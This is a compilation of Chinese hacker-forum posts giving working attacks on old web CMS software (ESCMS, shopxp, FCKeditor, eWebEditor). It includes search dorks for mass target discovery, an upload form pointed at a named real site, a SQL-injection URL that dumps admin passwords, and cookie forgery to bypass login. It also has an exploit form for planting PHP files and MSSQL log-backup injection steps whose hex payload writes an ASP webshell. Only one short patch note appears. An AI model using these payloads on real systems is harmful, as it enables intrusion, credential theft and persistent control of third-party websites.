久久久电脑

是ESCMS程序的

GOOGLE搜索 intext:©2009-2010 ESCMS

利用的漏洞是fckeditor，，，呵呵，fckeditor可真的是帮了广大黑友的大忙了。。。

<form id="frmUpload" enctype="multipart/form-data" action="http://www.st999.cn/fckeditor/editor/filemanager/connectors/asp/upload.asp?Type=Media" method="post">
Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>

存为html，上传xx.asp;jpg格式小马就可以了。。。

注意：用户名和密码是连在一起的，后十六位是密码MD5加密  adminb1481eca94b12f75 =====admin  b1481eca94b12f75（38983806 ）
第三步：登陆后台：/admin  或者/admin_shopxp
第四步：把小马改为图片格式后缀准备上传
-帕瓦]
    
商城系统差不多都是互相抄的。漏洞和网趣的那个一样，不过人家加了一个枫叶的防注入，没什么用处。
在TEXTBOX2.ASP TEXTBOX3.ASP页面的newsid变量为判断
Action=LCase(Request.QueryString("Action")) 
newsID=Request.QueryString("newsID")
If request("action")="modify" Then 
set rs=server.createobject("adodb.recordset") 
sql="select * from shopxp_news where newsid="&newsid 
rs.open sql,conn,1,1 
     If Not rs.Eof Then 
         Content=rs("newscontent") 
     End If 
     Response.Write Content 
End If 
构造URL注入即可。
exp:

http://www.xx.com/TEXTBOX2.ASP?action=modify&news%69d=122%20and%201=2%20union%20select%201

,2,admin%2bpassword,4,5,6,7%20from%20shopxp_admin
批量
google:inurl:shopxp_news.asp 

直接进了论坛后台构造代码
bbs/admin/data.asp?action=compressdata2&go=start
出现备份页面！

Xiaoz

漏洞文件：

en/DownloadShow.asp

chinese/DownloadShow.asp

漏洞利用：

在百度键入：
inurl: (DownloadShow.asp?DownID=)

在谷歌键入：
allinurl: DownloadShow.asp?DownID=

获得搜索页面地址复制下来.打开阿D2.32.将地址粘贴到检测地址栏里就会看到软件下方有很多可用注入点

比如：http://www.ioptron.cn/Chinese/DownloadShow.asp?DownID=50

删除：Chinese/DownloadShow.asp?DownID=50

在域名后面加上后台路径：BOSS 也就是http://www.ioptron.cn/boss/

漏洞说明:
downid,过滤不严,导致sql注入的产生

版本:ESCMS V1.0 SP1 Build 1125
后台登陆验证是通过admin/check.asp实现的,看代码

<%
if Request.cookies(CookiesKey)("ES_admin")="" then
'注意这里哦,他是通过COOKIE验证ES_admin是否为空,我们可以伪造一个值,叫他不为空
'CookiesKey在inc/ESCMS_Config.asp文件中,默认为ESCMS$_SP2
Call Err_Show()
Response.End()
End if
......
%>
首先我们打开http://target.com/admin/es_index.html

然后在COOKIE结尾加上
; ESCMS$_SP2=ES_admin=st0p;

修改,然后刷新

进后台了嘎..

然后呢…提权,嘿嘿,admin/up2.asp,上传目录参数filepath过滤不严,导致可截断目录,生成SHELL,看代码

......
formPath=upload.form("filepath") '此处没有过滤
if formPath="" then
formPath="../Upfile"
end if
Dim formPath1
formPath1="Upfile/"
'在目录后加(/)
if right(formPath,1)<>"/" then
formPath=formPath&"/"
end if
for each formName in upload.file '列出所有上传了的文件
set file=upload.file(formName) '生成一个文件对象
if file.filesize<100 then
response.write "请先选择你要上传的图片!　[ <a href=# onclick=history.go(-1)>请重新上传</a> ]"
response.end
end if

fileExt=lcase(file.FileExt)
if CheckFileExt(fileEXT)=false then
response.write "文件格式不正确!　[ <a href=# onclick=history.go(-1)>请重新上传</a> ]"
response.end
end if

'randomize
ranNum=int(90000*rnd)+10000
Dim tempname,temppath
tempname=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
temppath=formPath1&tempname
filename=formPath&tempname
if file.FileSize>0 then '如果 FileSize > 0 说明有文件数据
result=file.SaveToFile(Server.mappath(filename)) '保存文件,这里地址就会变成我们截断的SHELL名称
......

利用方法,可以抓包,然后改一下,NC上传,还可以直接用DOMAIN等工具提交.

嘿嘿,成功了,shell地址为http://target.com/admin/diy.asp
存在这个上传问题的还有admin/downup.asp,不过好像作者的疏忽,没有引用inc/ESCMS_Config.asp,导致打开此页面失败..

在版本ESCMS V1.0 正式版中,同样存在上传问题admin/up2.asp和admin/downup.asp都可利用,只不过cookies欺骗不能用了,因为此版本用session来验证登陆…

日啊,又一个YD的洞出来了,不过好似网上不多,而且多是ESCMS V1.0 正式版…..最新版本是我加了作者的群中下的,官方站上的下载地址失效了…

来源：网络

此漏洞仅测试了最新版v3.8,不知道低版本是否存在此漏洞。PHP版本的ewebeditor并没有使用数据库来保存配置信息，所有信息位于php/config.php中，代码如下：

<?php

$sUsername = "admin"; 
$sPassword = "admin";

$aStyle[1] = "gray|||gray|||office|||../uploadfile/|||550|||350|||rar|zip|exe|doc|xls|chm|hlp|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office标准风格，部分常用按钮，标准适合界面宽度|||1|||zh-cn|||0|||500|||300|||0|||版权所有...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1";

........

它将所有的风格配置信息保存为一个数组$aStyle,在register_global为on的情况下我们可以任意添加自己喜欢的风格，然后就可以在自己添加的风格中可以随意定义可上传文件类型。

这漏洞成因很简单，下面给个exp

<form action="" method=post enctype="multipart/form-data"> 
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="512000"> 
URL:<input type=text name=url value="http://192.168.1.110/eWebEditor/" size=100><br> 
<INPUT TYPE="hidden" name="aStyle[12]" value="toby57|||gray|||red|||../uploadfile/|||550|||350|||php|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office|||1|||zh-cn|||0|||500|||300|||0|||...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1"> 
file:<input type=file name="uploadfile"><br> 
<input type=button value=submit onclick=fsubmit()> 
</form><br> 
<script> 
function fsubmit(){ 
form = document.forms[0]; 
form.action = form.url.value+'php/upload.php?action=save&type=FILE&style=toby57&language=en'; 
alert(form.action); 
form.submit(); 
} 
</script>

漏洞修补方法：

初始化数组$aStyle

<?php

$sUsername = "admin"; 
$sPassword = "admin";

$aStyle = array();

$aStyle[1] = "gray|||gray|||office|||../uploadfile/|||550|||350|||rar|zip|exe|doc|xls|chm|hlp|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office标准风格，部分常用按钮，标准适合界面宽度|||1|||zh-cn|||0|||500|||300|||0|||版权所有...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1"; 

来源：网络

现在我们大部分同志备份拿WEBSHELL都是使用工具,下面来看看我们经常使用的方法

第 一 步:
http://192.168.0.2/news.asp?id=1;create table [dbo].[shit_tmp] ([cmd] [image])--
第 二 步
http://192.168.0.2/news.asp?id=1;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
第 三 步
http://192.168.0.2/news.asp?id=1;insert into [shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--
第 四 步
http://192.168.0.2/news.asp?id=1;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x64003A005C003100320033002E00610073007000 backup log @a to disk=@s with init,no_truncate--
第 五 步
http://192.168.0.2/news.asp?id=1;Drop table [shit_tmp]--

第一步建表,第二步备份之前的数据,相当于下一个断点,第三步插入数据,第四步再次差异备份,得到WEBSHELL第五步,删除表

先来分析一下这种方法,差异备份其实备份的并不是数据，而是备份对表操作的ＳＱＬ语句，比方说上面这个方法他备分得到的小马来源并不是来源于数据，而是来源于第三步的语句，第三步中呢重点又在于后面的小马，并不在于方法，所以我也就想到了在利用UPDATE来代替INSERT

得用update的好处在于省略了第一步和第五步，坏处在于，你需要找一张表来代替新建的表，

第 一 步
http://192.168.0.2/news.asp?id=1;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
第 二 步
http://192.168.0.2/news.asp?id=1;update tablename set col1=(0x3C25657865637574652872657175657374282261222929253E) where id=1--
第 三 步
http://192.168.0.2/news.asp?id=1;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x64003A005C003100320033002E00610073007000 backup log @a to disk=@s with init,no_truncate--

得用update在实际情况中测试已经通过